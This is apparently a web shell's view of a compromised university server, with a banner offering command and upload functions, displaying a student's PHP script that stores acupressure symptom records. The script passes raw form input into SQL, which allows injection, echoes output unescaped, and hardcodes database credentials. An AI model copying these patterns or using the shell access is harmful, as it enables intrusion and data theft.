|
Server IP : 172.16.15.8 / Your IP : 18.226.93.22 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/wcdavis/public_html/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<BODY>
<CENTER><h2>Insert Record Results</h2></center>
<hr>
<?php
$Pname = $_POST['Pname'];
$Cname = $_POST['Cname'];
$Link = $_POST['Link'];
$priority = $_POST['priority'];
$S1 = $_POST['S1'];
$S2 = $_POST['S2'];
$S3 = $_POST['S3'];
$S4 = $_POST['S4'];
$S5 = $_POST['S5'];
$S6 = $_POST['S6'];
$S7 = $_POST['S7'];
$S8 = $_POST['S8'];
$S9 = $_POST['S9'];
$S10 = $_POST['S10'];
$S11 = $_POST['S11'];
$S12 = $_POST['S12'];
$S13 = $_POST['S13'];
$S14 = $_POST['S14'];
$S15 = $_POST['S15'];
$S16 = $_POST['S16'];
$S17 = $_POST['S17'];
$S18 = $_POST['S18'];
$S19 = $_POST['S19'];
$S20 = $_POST['S20'];
$S21 = $_POST['S21'];
$S22 = $_POST['S22'];
$S23 = $_POST['S23'];
$S24 = $_POST['S24'];
$S25 = $_POST['S25'];
$S26 = $_POST['S26'];
$S27 = $_POST['S27'];
$S28 = $_POST['S28'];
$S29 = $_POST['S29'];
$S30 = $_POST['S30'];
$S31 = $_POST['S31'];
$S32 = $_POST['S32'];
$S33 = $_POST['S33'];
$S34 = $_POST['S34'];
$S35 = $_POST['S35'];
$S36 = $_POST['S36'];
$S37 = $_POST['S37'];
$S38 = $_POST['S38'];
$S39 = $_POST['S39'];
$S40 = $_POST['S40'];
$S41 = $_POST['S41'];
$S42 = $_POST['S42'];
$S43 = $_POST['S43'];
$S44 = $_POST['S44'];
$S45 = $_POST['S45'];
$S46 = $_POST['S46'];
$S47 = $_POST['S47'];
$S48 = $_POST['S48'];
$menu = array('Frontal Headache', 'Back of the Head', 'Side of
the Head', 'Top of the Head', 'Pain in the eye', 'Jaw', 'Toothache', 'Ear', 'Neck', 'Shoulder',
'Wrist', 'Hand', 'Backache', 'Hip', 'Knee', 'Ankle', 'Foot', 'Sore throat', 'Sinusitis', 'Loss of Voice',
'Earaches', 'Allergy', 'Anxiety attacks and Nervousness', 'Depression', 'Insomnia', 'Fainting', 'Hiccoughs',
'Memory and Concentration issues', 'Angina', 'Palpitations',
'High Blood Pressure Treatments', 'Constipation', 'Diarrhea', 'Heartburn',
'Stomachache', 'PMS and painful periods', 'Hot Flashes', 'Acupressure during Pregnancy', 'Bed Wetting',
'Incontinence', 'Urinary Retention', 'Weight Loss', 'Nose Bleeding', 'Allergy', 'Itching', 'Asthma', 'Decreased
Libido', 'Hangover Treatment');
$host = 'localhost';
$user = 'kakaragiorgis';
$pass = 'cs480';
$database = 'kakaragiorgis';
$connect = mysql_connect($host, $user, $pass);
$table_name = 'Symptom';
$query = "insert into $table_name values ('$Pname','$Cname',
'$Link',
'$S1', '$S2', '$S3', '$S4', '$S5', '$S6', '$S7', '$S8', '$S9', '$S10',
'$S11', '$S12', '$S13', '$S14', '$S15', '$S16', '$S17', '$S18', '$S19',
'$S20', '$S21', '$S22', '$S23', '$S24', '$S25', '$S26', '$S27', '$S28',
'$S29', '$S30', '$S31', '$S32', '$S33', '$S34', '$S35', '$S36', '$S37',
'$S38', '$S39', '$S40', '$S41', '$S42', '$S43', '$S44', '$S45', '$S46',
'$S47', '$S48', '$priority')";
$query1 = "select * from $table_name";
print "The query is <i> $query </i>";
MYSQL_select_db($database);
$results_id = mysql_query($query, $connect);
$results_id1 = mysql_query($query1, $connect);
if($results_id)
print "Insert Succussful. <P>";
else
print "Insert failed.<P>";
if($results_id1)
{ // p.178
print "<table border=1>";
print "<th>Point Name<th>Chinese Name<th>Link";
while($row=mysql_fetch_row($results_id1))
{ print "<tr>";
foreach ($row as $field) print "<td>$field</td>";
print "</tr>";
}
}
else echo ( "Search failed");
mysql_close($connect);
?>
<a href="insert.php">Back to insert another record?.</a><br>
<a href="acupressureindex.html">Back to the home page.</a>
</BODY>